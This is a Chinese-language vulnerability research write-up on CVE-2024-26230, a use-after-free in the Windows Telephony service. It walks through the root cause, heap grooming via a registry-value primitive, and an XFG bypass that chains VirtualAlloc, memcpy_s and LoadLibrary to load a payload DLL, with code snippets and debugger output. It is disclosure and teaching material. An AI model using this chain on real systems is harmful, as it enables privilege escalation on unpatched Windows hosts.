一个技巧:CVE-2024-26230的故事
作者:k0shl,来自Cyber Kunlun
摘要
2024年4月,微软修复了电话服务中的一个释放后使用漏洞,该漏洞由我报告并被分配为CVE-2024-26230。我已经完成了漏洞利用,并采用了一个有趣的技巧来绕过Windows 11上的XFG缓解措施。
今后,在我个人博客关于漏洞和利用发现的文章中,我不仅打算介绍漏洞利用阶段,还希望分享我一步步完成漏洞利用的思考过程。在这篇博文中,我将深入探讨该技巧背后的技术以及CVE-2024-26230的利用。
根本原因
电话服务是一个基于RPC的服务,默认情况下不运行,但可以通过以普通用户权限调用StartServiceW API来激活。
电话RPC服务器接口中只有三个函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
long ClientAttach(
[out][context_handle] void** arg_0,
[in]long arg_1,
[out]long *arg_2,
[in][string] wchar_t* arg_3,
[in][string] wchar_t* arg_4);
void ClientRequest(
[in][context_handle] void* arg_0,
[in][out] /* [DBG] FC_CVARRAY */[size_is(arg_2)][length_is(, *arg_3)]char *arg_1/*[] CONFORMANT_ARRAY*/,
[in]long arg_2,
[in][out]long *arg_3);
void ClientDetach(
[in][out][context_handle] void** arg_0);
}
|
很容易理解,ClientAttach方法可以创建一个上下文句柄,ClientRequest方法可以使用指定的上下文句柄处理请求,而ClientDetach方法可以释放该上下文句柄。
实际上,有一个名为“gaFuncs”的全局变量,它在ClientRequest方法中充当路由器变量,将请求分派到特定的分发函数。它路由到的分发函数取决于一个攻击者可以控制的值。
在分发函数内部,可以处理许多对象。这些对象由NewObject函数创建,该函数将它们插入到名为“ghHandleTable”的全局句柄表中。每个对象都持有一个唯一的魔法值。当电话服务引用一个对象时,它会调用ReferenceObject函数来比较魔法值并从句柄表中检索它。
漏洞存在于那些拥有魔法值“GOLD”的对象上,这些对象可以通过函数“GetUIDllName”创建。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void __fastcall GetUIDllName(__int64 a1, int *a2, unsigned int a3, __int64 a4, _DWORD *a5)
{
[...]
if ( object )
{
*object = 0x474F4C44; // =====> [a]
v38 = *(_QWORD *)(contexthandle + 184);
*((_QWORD *)object + 10) = v38;
if ( v38 )
*(_QWORD *)(v38 + 72) = object;
*(_QWORD *)(contexthandle + 184) = object; // =======> [b]
a2[8] = object[22];
}
[...]
}
|
如上代码所示,服务将魔法值0x474F4C44(GOLD)存储到对象[a]中,并将对象插入到上下文句柄对象[b]中。通常,大多数对象都存储在上下文句柄对象内部,该对象在ClientAttach函数中初始化。当服务引用一个对象时,它会检查该对象是否属于指定的上下文句柄对象,如下面的代码所示:
1
2
3
4
5
|
v28 = ReferenceObject(v27, a3, 0x494C4343); // 引用对象
if ( v28
&& (TRACELogPrint(262146i64, "LineProlog: ReferenceObject returned ptCallClient %p", v28),
*((_QWORD *)v28 + 1) == context_handle_object) ) // 检查对象是否属于上下文句柄对象
{
|
然而,当释放“GOLD”对象时,它并不检查该对象是否属于上下文句柄。因此,我可以利用这一点,通过创建两个上下文句柄来利用:一个持有“GOLD”对象,另一个则调用分发函数“FreeDiagInstance”来释放“GOLD”对象。结果就是“GOLD”对象被释放了,而原始的上下文句柄对象仍然持有“GOLD”对象指针。
1
2
3
4
5
6
7
8
9
|
__int64 __fastcall FreeDialogInstance(unsigned __int64 a1, _DWORD *a2)
{
[...]
v4 = (_DWORD *)ReferenceObject(a1, (unsigned int)a2[2], 0x474F4C44i64);
[...]
if ( *v4 == 0x474F4C44 ) // 只检查魔法值是否等于0x474f4c44,不检查对象是否属于上下文句柄对象
[...]
// 释放对象
}
|
这导致原始上下文句柄对象持有一个悬垂指针。因此,分发函数“TUISPIDLLCallback”使用了这个悬垂指针,导致了释放后使用漏洞。最终,当尝试引用虚函数时,电话服务崩溃。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
__int64 __fastcall TUISPIDLLCallback(__int64 a1, _DWORD *a2, int a3, __int64 a4, _DWORD *a5)
{
[...]
v7 = (unsigned int)controlledbuffer[2];
v8 = 0i64;
v9 = controlledbuffer + 4;
v10 = controlledbuffer + 5;
if ( (unsigned int)IsBadSizeOffset(a3, 0, controlledbuffer[5], controlledbuffer[4], 4) )
goto LABEL_30;
switch ( controlledbuffer[3] )
{
[...]
case 3:
for ( freedbuffer = *(_QWORD *)(context_handle_object + 0xB8); freedbuffer; freedbuffer = *(_QWORD *)(freedbuffer + 80) ) // ===========> 上下文句柄对象在偏移0xB8处持有悬垂指针
{
if ( controlledbuffer[2] == *(_DWORD *)(freedbuffer + 16) ) // 比较值
{
v8 = *(__int64 (__fastcall **)(__int64, _QWORD, __int64, _QWORD))(freedbuffer + 32); // 从悬垂指针中引用虚函数
goto LABEL_27;
}
}
break;
[...]
if ( v8 )
{
result = v8(v7, (unsigned int)controlledbuffer[3], a4 + *v9, *v10); // ====> 触发UaF
[...]
}
|
注意,上面代码中的可控缓冲区是指RPC客户端的输入缓冲区,其所有内容都可以由攻击者控制。这最终导致了崩溃。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
0:001> R
rax=0000000000000000 rbx=0000000000000000 rcx=3064c68a8d720000
rdx=0000000000080006 rsi=0000000000000000 rdi=00000000474f4c44
rip=00007ffcb4b4955c rsp=000000ec0f9bee80 rbp=0000000000000000
r8=000000ec0f9bea30 r9=000000ec0f9bee90 r10=ffffffffffffffff
r11=000000ec0f9be9e8 r12=0000000000000000 r13=00000203df002b00
r14=00000203df002b00 r15=000000ec0f9bf238
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
tapisrv!FreeDialogInstance+0x7c:
00007ffc`b4b4955c 393e cmp dword ptr [rsi],edi ds:00000000`00000000=????????
0:001> K
# Child-SP RetAddr Call Site
00 000000ec`0f9bee80 00007ffc`b4b47295 tapisrv!FreeDialogInstance+0x7c
01 000000ec`0f9bf1e0 00007ffc`b4b4c8bc tapisrv!CleanUpClient+0x451
02 000000ec`0f9bf2a0 00007ffc`d9b85809 tapisrv!PCONTEXT_HANDLE_TYPE_rundown+0x9c
03 000000ec`0f9bf2e0 00007ffc`d9b840f6 RPCRT4!NDRSRundownContextHandle+0x21
04 000000ec`0f9bf330 00007ffc`d9bcb935 RPCRT4!DestroyContextHandlesForGuard+0xbe
05 000000ec`0f9bf370 00007ffc`d9bcb8b4 RPCRT4!OSF_ASSOCIATION::~OSF_ASSOCIATION+0x5d
06 000000ec`0f9bf3a0 00007ffc`d9bcade4 RPCRT4!OSF_ASSOCIATION::`vector deleting destructor'+0x14
07 000000ec`0f9bf3d0 00007ffc`d9bcad27 RPCRT4!OSF_ASSOCIATION::RemoveConnection+0x80
08 000000ec`0f9bf400 00007ffc`d9b8704e RPCRT4!OSF_SCONNECTION::FreeObject+0x17
09 000000ec`0f9bf430 00007ffc`d9b861ea RPCRT4!REFERENCED_OBJECT::RemoveReference+0x7e
0a 000000ec`0f9bf510 00007ffc`d9b97f5c RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x18e
0b 000000ec`0f9bf610 00007ffc`d9b97e22 RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0c 000000ec`0f9bf690 00007ffc`d8828f51 RPCRT4!CO_NmpThreadPoolCallback+0x42
0d 000000ec`0f9bf6d0 00007ffc`db34aa58 KERNELBASE!BasepTpIoCallback+0x51
0e 000000ec`0f9bf720 00007ffc`db348d03 ntdll!TppIopExecuteCallback+0x198
|
寻找利用原语
当我发现这个漏洞时,我很快意识到它可以被利用,因为我可以控制对象的释放和使用时机。
然而,利用的第一个挑战是我需要一个利用原语。Ring 3世界与Ring 0世界不同。在内核模式下,我可以使用各种对象作为原语,即使它们是不同类型的。但在用户模式下,我只能使用同一进程内的对象。这意味着如果目标进程中没有合适的对象,我就无法利用该漏洞。
所以,我需要确认电话服务中是否存在合适的对象。这里有一个小技巧,我甚至不需要一个“对象”。我想要的只是一个内存分配,我可以同时控制其大小和内容。
经过逆向工程,我发现了一个有趣的原语。有一个名为“TRequestMakeCall”的分发函数,它会打开电话服务的注册表键,并分配内存来存储键值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
if ( !RegOpenCurrentUser(0xF003Fu, &phkResult) ) // ==========> [a]
{
if ( !RegOpenKeyExW(
phkResult,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities",
0,
0x20019u,
&hKey) )
{
GetPriorityList(hKey, L"RequestMakeCall"); // ==========> [b]
RegCloseKey(hKey);
}
///////////////////////////////////////////
if ( RegQueryValueExW(hKey, lpValueName, 0i64, &Type, 0i64, &cbData) || !cbData ) // =============> [c]
{
[...]
}
else
{
v6 = HeapAlloc(ghTapisrvHeap, 8u, cbData + 2); // ===========> [d]
v7 = (wchar_t *)v6;
if ( v6 )
{
*(_WORD *)v6 = 34;
LODWORD(v6) = RegQueryValueExW(hKey, lpValueName, 0i64, &Type, (LPBYTE)v6 + 2, &cbData); // ==============> [e]
[...]
}
|
在分发函数“TRequestMakeCall”中,它首先打开HKCU根键[a],然后调用GetPriorityList函数来获取“RequestMakeCall”键值。检查键权限后,确定该键可以被当前用户完全控制,这意味着我可以修改该键值。在“GetPriorityList”函数中,它首先检索键的类型和大小,然后分配一个堆来存储键值。这意味着,如果我能控制键值,我也能控制堆的大小和内容。
“RequestMakeCall”的默认类型是REG_SZ,但由于当前用户对其拥有完全控制权限,我可以删除默认值并创建一个REG_BINARY类型的键值。这允许我将大小和内容设置为任意值,使其成为一个有用的原语。
堆风水
在确定存在合适的原语之后,我认为是时候进行堆风水了。因为我可以控制对象的分配、释放和使用的时机,所以很容易构思出一个布局。
首先,我使用“GetUIDllName”函数分配足够的“GOLD”对象。
然后,我使用“FreeDiagInstance”函数释放其中一些对象,以制造一些空洞。
接着,我分配一个工作“GOLD”对象来触发释放后使用漏洞。
之后,我释放具有漏洞的工作对象。此时,工作上下文句柄对象仍然持有工作对象的悬垂指针。
紧接着,我删除“RequestMakeCall”键值,并创建一个具有可控内容的REG_BINARY类型键。然后,我分配一些键值堆,确保它们占据工作对象留下的空洞。
XFG缓解措施
在上一节堆风水的最后一步之后,受控的键值堆占据了目标空洞,当我调用“TUISPIDLLCallback”函数来触发“使用”步骤时,如上面的伪代码所示,可控缓冲区是RPC接口的输入缓冲区,如果我将其设置为3,它将比较一个魔法值与工作对象,然后从工作对象中获取一个虚函数地址。因此,我只需要在注册表键值内容中设置这两个值。
1
2
3
4
5
6
|
RegDeleteKeyValueW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", L"RequestMakeCall");
RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", &hkey);
BYTE lpbuffer[0x5e] = { 0 };
*(PDWORD)((ULONG_PTR)lpbuffer + 0xE) = (DWORD)0x40000018;
*(PULONG_PTR)((ULONG_PTR)lpbuffer + 0x1E) = (ULONG_PTR)jmpaddr; // 假指针
RegSetValueExW(hkey, L"RequestMakeCall", 0, REG_BINARY, lpbuffer, 0x5E);
|
似乎只剩下一步就能完成利用了。我可以控制虚函数的地址,这意味着我可以控制RIP寄存器。如果没有XFG缓解措施,我可以使用ROP。然而,XFG会限制RIP寄存器跳转到ROP gadget地址,当控制流检查失败时,会引发INT29异常。
最后一步,真正的挑战
就像我在之前的博客文章中介绍的利用——CNG密钥隔离的利用——一样,当我能控制RIP时,调用LoadLibrary来加载payload DLL是有用的。然而,这次当我尝试将虚函数地址设置为LoadLibrary地址时,很快就遇到了一些挑战。
让我们回顾一下“TUISPIDLLCallback”分发函数中的虚函数调用:
1
|
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> 触发UaF
|
第一个参数是一个DWORD类型的值,它来自RPC输入缓冲区,可以由客户端控制。
第二个参数也来自RPC输入缓冲区,但它必须是一个常量值,它等于我在上一节中提到的case编号,必须是3。
第三个参数是一个指针。buffer是可控缓冲区地址加上0x3C的偏移量。此外,这个指针还会加上一个偏移量,该偏移量来自可控的RPC输入缓冲区。
第四个参数是一个DWORD类型,来自可控的RPC输入缓冲区。
很明显,为了跳转到LoadLibrary来加载payload DLL,第一个参数应该是一个指向payload DLL路径的指针。然而,在这种情况下,它是一个DWORD类型的值。
所以我不能直接使用LoadLibrary来加载payload DLL,我需要找到另一种方法来完成利用。此时,我想找到一个间接函数来加载payload DLL,因为第三个参数是一个指针,并且我可以控制其内容,我需要一个具有以下代码的函数:
1
2
3
4
5
6
|
func(a1, a2, a3, ...){
[...]
path = a3;
LoadLibarary(path);
[...]
}
|
这种情况下的限制是,我无法控制RPC服务器加载哪个DLL。因此,我只能使用RPC服务器中现有的DLL,这花了我一些时间来找到一个符合条件的函数。但寻找符合条件的函数失败了。
看来我们又回到了起点。我再次查看MSDN中的一些API,希望能找到另一种方案。
技巧
一段时间后,我想起了一个有趣的API——VirtualAlloc。
1
2
3
4
5
6
|
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
|
VirtualAlloc的第一个参数是lpAddress,可以设置为一个指定的值,进程将在这个地址分配内存。
我注意到我可以用这个函数分配一个32位的地址!
第二个参数是一个常量值,表示要分配的缓冲区大小。然而,这对我的目的来说不是必需的。最后一个参数是一个受控的DWORD值,我可以将其设置为flProtect的值。我可以将其设置为PAGE_EXECUTE_READWRITE (0x40)。
但第三个参数带来了新的挑战。
第三个参数是flAllocationType,在我的场景中,它是一个指针。这意味着指针的低32位应该是flAllocationType。我需要将其设置为MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)。虽然我可以控制偏移量,但我不知道指针的地址,所以我无法将指针的低32位设置为指定值。我尝试用一些随机值分配堆,但都失败了。
让我们再次回顾一下“使用”的代码:
1
2
3
4
5
6
|
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> 触发UaF
if(!result){
[...]
}
*controlledbuffer = result;
return result;
|
虚函数的返回值将被存储到可控缓冲区中,然后返回给客户端。这意味着,如果我使用像MIDL_user_allocate这样的函数分配内存,它将返回一个64位地址,但只有地址的低32位会返回给客户端。这将是一个有用的信息泄露。
但我仍然无法在调用VirtualAlloc时预测第三个参数的低32位值。所以,我尝试增加分配缓冲区的大小,看看是否有任何规律。实际上,RPC客户端可以设置的最大大小大于0x40000000。当我将分配大小设置为0x40000000时,我遇到了一个有趣的情况。
我发现当分配大小设置为0x40000000时,指针的低32位地址线性增加,这使得它可以被预测。
这意味着,例如,如果泄露的低32位返回0xbd700000,我知道如果我将输入缓冲区大小设置为0x40000000,下一个可控缓冲区的低32位将是0xfd800000。此外,第三个参数的偏移量不能大于输入缓冲区大小。因此,我需要确保低32位地址大于0xc0000000。这样,第三个参数的低32位在地址加上偏移量后,可以变成一个大于0x100000000的DWORD值。有可能将第三个参数设置为0x3000 (MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000))。
到目前为止,我进行了堆风水并用可控的注册表键值内容控制了堆空洞的所有内容。为了绕过XFG缓解措施,我需要首先通过在键值中设置MIDL_user_allocate函数地址来泄露低32位地址,然后在键值中设置VirtualAlloc函数地址。显然,如果我成功分配了32位地址,事情还没结束。我需要多次调用“TUISPIDLLCallback”来绕过XFG缓解措施。好消息是我可以控制“使用”的时机,所以我需要做的就是释放注册表键值堆,用目标函数地址设置新的键值,分配一个新的键值堆,然后再次使用它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
tapisrv!TUISPIDLLCallback+0x1cc:
00007fff`7c27fecc ff154ee80000 call qword ptr [tapisrv!_guard_xfg_dispatch_icall_fptr (00007fff`7c28e720)] ds:00007fff`7c28e720={ntdll!LdrpDispatchUserCallTarget (00007fff`afcded40)}
0:007> u rax
KERNEL32!VirtualAllocStub:
00007fff`aeae3bf0 48ff2551110700 jmp qword ptr [KERNEL32!_imp_VirtualAlloc (00007fff`aeb54d48)]
00007fff`aeae3bf7 cc int 3
00007fff`aeae3bf8 cc int 3
00007fff`aeae3bf9 cc int 3
00007fff`aeae3bfa cc int 3
00007fff`aeae3bfb cc int 3
00007fff`aeae3bfc cc int 3
00007fff`aeae3bfd cc int 3
0:007> r r8d
r8d=3000
0:007> r r9d
r9d=40
0:007> r rcx
rcx=00000000ba000000
0:007> r rdx
rdx=0000000000000003
|
根据调试信息,我们可以看到每个参数都满足要求。在调用VirtualAlloc函数之后,我们成功分配了一个32位地址。
1
2
3
4
5
6
7
8
9
|
0:007> p
tapisrv!TUISPIDLLCallback+0x1d2:
00007fff`7c27fed2 85c0 test eax,eax
0:007> dq ba000000
00000000`ba000000 00000000`00000000 00000000`00000000
00000000`ba000010 00000000`00000000 00000000`00000000
00000000`ba000020 00000000`00000000 00000000`00000000
00000000`ba000030 00000000`00000000 00000000`00000000
00000000`ba000040 00000000`00000000 00000000`00000000
|
这意味着我已经成功地将第一个参数控制为一个指针。下一步是将payload DLL路径复制到32位地址中。然而,我不能使用memcpy函数,因为第二个参数是一个常量值,必须是3。相反,我决定使用memcpy_s函数,其中第二个参数表示复制长度,第三个参数是源地址。我一次只能复制3个字节,但我可以多次调用它来完成路径复制。
1
2
3
4
5
6
|
0:009> dc ba000000
00000000`ba000000 003a0043 0055005c 00650073 00730072 C.:.\.U.s.e.r.s.
00000000`ba000010 0070005c 006e0077 0041005c 00700070 \.p.w.n.\.A.p.p.
00000000`ba000020 00610044 00610074 0052005c 0061006f D.a.t.a.\.R.o.a.
00000000`ba000030 0069006d 0067006e 0066005c 006b0061 m.i.n.g.\.f.a.k.
00000000`ba000040 00640065 006c006c 0064002e 006c006c e.d.l.l...d.l.l.
|
最后一步是调用LoadLibrary来加载payload DLL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
0:009> u
KERNELBASE!LoadLibraryW:
00007fff`ad1f2480 4533c0 xor r8d,r8d
00007fff`ad1f2483 33d2 xor edx,edx
00007fff`ad1f2485 e9e642faff jmp KERNELBASE!LoadLibraryExW (00007fff`ad196770)
00007fff`ad1f248a cc int 3
00007fff`ad1f248b cc int 3
00007fff`ad1f248c cc int 3
00007fff`ad1f248d cc int 3
00007fff`ad1f248e cc int 3
0:009> dc rcx
00000000`ba000000 003a0043 0055005c 00650073 00730072 C.:.\.U.s.e.r.s.
00000000`ba000010 0070005c 006e0077 0041005c 00700070 \.p.w.n.\.A.p.p.
00000000`ba000020 00610044 00610074 0052005c 0061006f D.a.t.a.\.R.o.a.
00000000`ba000030 0069006d 0067006e 0066005c 006b0061 m.i.n.g.\.f.a.k.
00000000`ba000040 00640065 006c006c 0064002e 006c006l e.d.l.l...d.l.l.
00000000`ba000050 00000000 00000000 00000000 00000000 ................
00000000`ba000060 00000000 00000000 00000000 00000000 ................
00000000`ba000070 00000000 00000000 00000000 00000000 ................
0:009> k
# Child-SP RetAddr Call Site
00 000000ab`ac97eac8 00007fff`7c27fed2 KERNELBASE!LoadLibraryW
01 000000ab`ac97ead0 00007fff`7c27817a tapisrv!TUISPIDLLCallback+0x1d2
02 000000ab`ac97eb60 00007fff`afb57f13 tapisrv!ClientRequest+0xba
|